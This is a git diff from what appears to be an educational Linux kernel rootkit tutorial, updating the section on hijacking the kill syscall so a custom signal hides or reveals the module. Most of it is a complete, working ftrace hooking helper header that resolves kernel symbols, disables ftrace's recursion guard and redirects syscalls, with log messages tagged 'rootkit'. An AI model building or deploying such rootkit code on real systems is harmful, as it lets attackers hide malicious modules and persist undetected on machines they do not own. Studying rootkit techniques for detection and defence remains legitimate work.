diff --git a/3_RootkitTechniques/3.2_kill_signalling/README.md b/3_RootkitTechniques/3.2_kill_signalling/README.md index 4d96e6d..16b3bf1 100644 --- a/3_RootkitTechniques/3.2_kill_signalling/README.md +++ b/3_RootkitTechniques/3.2_kill_signalling/README.md @@ -2,6 +2,8 @@ ## 3.2: Custom Signals To Hide/Reveal LKMs +> Updated to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html) instead of directly modifying kernel memory + We can use the same syscall hijacking method from [Section 3.1](../3.1_syscall_hooking/) to hijack the `sys_kill` syscall rather than `sys_mkdir`. This lets us implement our own custom signals to call different functions within the rootkit. In this case, we use signal `64` (normally unused) to tell the module hide or unhide itself (using the `hideme()` and `showme()` functions from [Section 3.0](../3.0_hiding_lkm/)). > NOTE: While experimenting with this module, I found that the kernel kept panicking and crashing if I probed the calls to `sys_mkdir` too often, i.e. trying to `printk` every call signal send to every pid. I think this is probably something to do with a race condition somewhere, but I'm not certain. diff --git a/3_RootkitTechniques/3.2_kill_signalling/ftrace_helper.h b/3_RootkitTechniques/3.2_kill_signalling/ftrace_helper.h new file mode 100644 index 0000000..f3a0171 --- /dev/null +++ b/3_RootkitTechniques/3.2_kill_signalling/ftrace_helper.h @@ -0,0 +1,185 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* x64 has to be special and require a different naming convention */ +#ifdef PTREGS_SYSCALL_STUBS +#define SYSCALL_NAME(name) ("__x64_" name) +#else +#define SYSCALL_NAME(name) (name) +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = SYSCALL_NAME(_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +}